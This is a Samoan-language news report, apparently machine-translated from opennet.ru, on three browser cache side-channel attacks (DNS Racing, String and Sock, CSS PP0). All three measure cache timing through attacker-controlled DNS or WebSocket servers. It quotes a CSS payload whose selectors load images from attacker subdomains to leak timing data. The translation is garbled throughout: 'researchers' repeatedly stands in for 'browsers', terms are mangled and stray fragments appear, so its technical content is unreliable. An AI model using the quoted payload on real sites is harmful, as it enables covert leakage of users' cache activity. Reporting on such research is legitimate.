Ole osofa'iga ole fa'apipi'iina ole CPU ole fa'atinoina ile upegatafa'ilagi e aunoa ma le JavaScript

O se vaega o tagata suʻesuʻe mai le tele o Amerika, Isaraelu ma Ausetalia iunivesete ua atiaʻe ni osofaʻiga se tolu o loʻo faʻatautaia i luga o upega tafaʻilagi e suʻe mai ai faʻamatalaga e uiga i mea o loʻo i totonu o le faʻaogaina o le cache. O le tasi metotia e galue i tagata suʻesuʻe e aunoa ma le JavaScript, ae o le isi lua e faʻafefe auala o loʻo i ai nei o le puipuiga mai osofaʻiga i itu-ala, e aofia ai ma faʻaoga i le Tor browser ma DeterFox. O le faʻailoga mo le faʻaalia o osofaʻiga, faʻapea foʻi ma vaega o le 'auʻaunaga e manaʻomia mo osofaʻiga, o loʻo lomia ile GitHub.

Ina ia auʻiliʻili mea o loʻo i totonu o le cache, o osofaʻiga uma e faʻaaoga ai le Prime + Probe method, lea e aofia ai le faʻatumuina o le cache i se seti masani o tau ma suʻesuʻeina suiga e ala i le fuaina o le taimi avanoa ia i latou pe a toe faʻatumu. Ina ia pasia le puipuiga malu o loʻo iai i tagata suʻesuʻe e faʻalavelave i le taimi saʻo, i ni filifiliga se lua, e faia se apili i se DNS poʻo WebSocket server e pulea e le tagata osofaʻi, lea e teu ai se ogalaau o le taimi o talosaga na maua. I se tasi faʻatusa, o se taimi faʻamautu DNS e faʻaaogaina e fai ma faʻamatalaga taimi.

Fua na faia e faʻaaoga ai DNS i fafo poʻo WebSocket servers, faʻaaogaina se faʻavasegaina faʻavae i luga o le aʻoaʻoina o masini, na lava e vaʻai ai tau ma se saʻo e oʻo atu i le 98% i le tulaga sili ona lelei (ave 80-90%). O auala osofaʻiga na faʻataʻitaʻiina i luga o masini faʻapipiʻi eseese (Intel, AMD Ryzen, Apple M1, Samsung Exynos) ma ua faʻamaonia e lautele.

Ole osofa'iga ole fa'apipi'iina ole CPU ole fa'atinoina ile upegatafa'ilagi e aunoa ma le JavaScript

O le suiga muamua o le osofaʻiga a DNS Racing e faʻaaogaina ai se faʻatinoga masani o le Prime + Probe method e faʻaaoga ai le JavaScript arrays. O eseesega e faʻapipiʻi i lalo i le faʻaogaina o se taimi faʻavae DNS i fafo ma se tagata e faʻaogaina le mea e tasi, lea e faʻaosoina pe a faia se taumafaiga e utaina se ata mai se vaega e le o iai. O le taimi i fafo e mafai ai ona osofaʻia le Prime+Suʻesuʻe i luga o suʻesuʻega e faʻatapulaʻa pe faʻamalo atoatoa le avanoa i timer JavaScript.

Mo se DNS server o loʻo i luga o le fesoʻotaʻiga Ethernet tutusa, o le saʻo o le taimi e faʻatatau e tusa ma le 2 ms, lea e lava e faia ai se osofaʻiga i le itu-auala (mo faʻatusatusaga, o le saʻo o le taimi masani JavaScript i Tor Browser o fa'aitiitia i le 100 ms). Mo le osofaʻiga, e le manaʻomia le puleaina o le DNS server, talu ai o le taimi o le faʻatinoga o le taʻaloga ua filifilia ina ia avea le taimi tali mai le DNS o se faʻailoga o le maeʻa muamua o le siaki (faʻalagolago pe na faʻaosoina le tagata e faʻaaogaina le mea sese. muamua pe mulimuli ane, e faia se faaiuga e uiga i le saoasaoa o le siaki siaki ma le cache) .

O le auala lona lua o osofaʻiga, "String and Sock", e faʻamoemoe e faʻamalo auala saogalemu e faʻatapulaʻaina ai le faʻaogaina o le faʻaogaina i le JavaScript. Nai lo arrays, String ma Sock faʻaaogaina gaioiga i luga o manoa lapopoa, o le tele o ia mea e filifilia ina ia mafai e le fesuiaiga ona ufiufi atoa le cache LLC (Last level cache). O le isi, faʻaaoga le indexOf () galuega, o se laʻititi laʻititi e suʻe i le manoa, lea e le o iai muamua i le manoa puna, i.e. o le galuega su'esu'e e maua ai le fa'asolosolo i luga o le manoa atoa. Talu ai o le laina tele e fetaui ma le tele o le LLC cache, o le suʻesuʻeina e mafai ai ona e faia se faʻagaioiga siaki siaki e aunoa ma le faʻaogaina o laina. Ina ia fuaina le tuai, nai lo le DNS, e faia se valaau i se WebSocket server e pulea e le tagata osofaʻi - aʻo leʻi maeʻa le suʻesuʻega, e tuʻuina atu fesili i le laina, e faʻavae i luga o le mea e fuafua ai e le server le tuai na faʻaaogaina e suʻe ai le cache. anotusi.

O le suiga lona tolu o le osofaʻiga "CSS PP0" e faʻatinoina e ala i le HTML ma le CSS, ma e mafai ona galue i tagata suʻesuʻe ma le JavaScript e le atoatoa. Ole auala e tutusa ma le "String and Sock", ae e le o nonoa ile JavaScript. I le taimi o le osofaʻiga, o se seti o CSS filifilia e faʻatupuina lena suʻesuʻega e ala i le mask. O le ulua'i manoa lapo'a e fa'atumu ai le cache e fa'atulaga e ala i le fa'atupuina o se fa'ailoga div ma se igoa o le vasega tele. I totonu o loʻo i ai se seti o isi divs ma a latou lava faʻamatalaga. O nei fa'aputuga divs ei ai lana lava sitaili ma se tagata filifilia e su'e se fa'asolo. Pe a tu'uina atu se itulau, e taumafai muamua le su'esu'e e fa'agasolo vaega i totonu, lea e maua ai se su'esu'ega i se laina tele. O le su'esu'ega e faia i le fa'aaogaina o se matapulepule ua misi ma ta'ita'i atu i le fa'asolosolo i luga o le laina atoa, a mae'a ona fa'atupuina le tulaga "leai" ma faia se taumafaiga e utaina se ata pito i tua o lo'o fa'asino i vaega fa'aletonu: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Subdomains e tautuaina e le tagata osofaʻi DNS server, lea e mafai ona fuaina le tuai i le mauaina o talosaga. O le DNS server e tuʻuina atu le NXDOMAIN mo talosaga uma ma tausia se ogalaau o le taimi tonu o talosaga. O se taunuuga o le faagasologa o se seti o divs, e maua e le DNS server se faasologa o talosaga, o le tuai i le va e fetaui ma le taunuuga o le siakiina o mea o loʻo i totonu.

Ole osofa'iga ole fa'apipi'iina ole CPU ole fa'atinoina ile upegatafa'ilagi e aunoa ma le JavaScript


puna: opennet.ru

Faaopoopo i ai se faamatalaga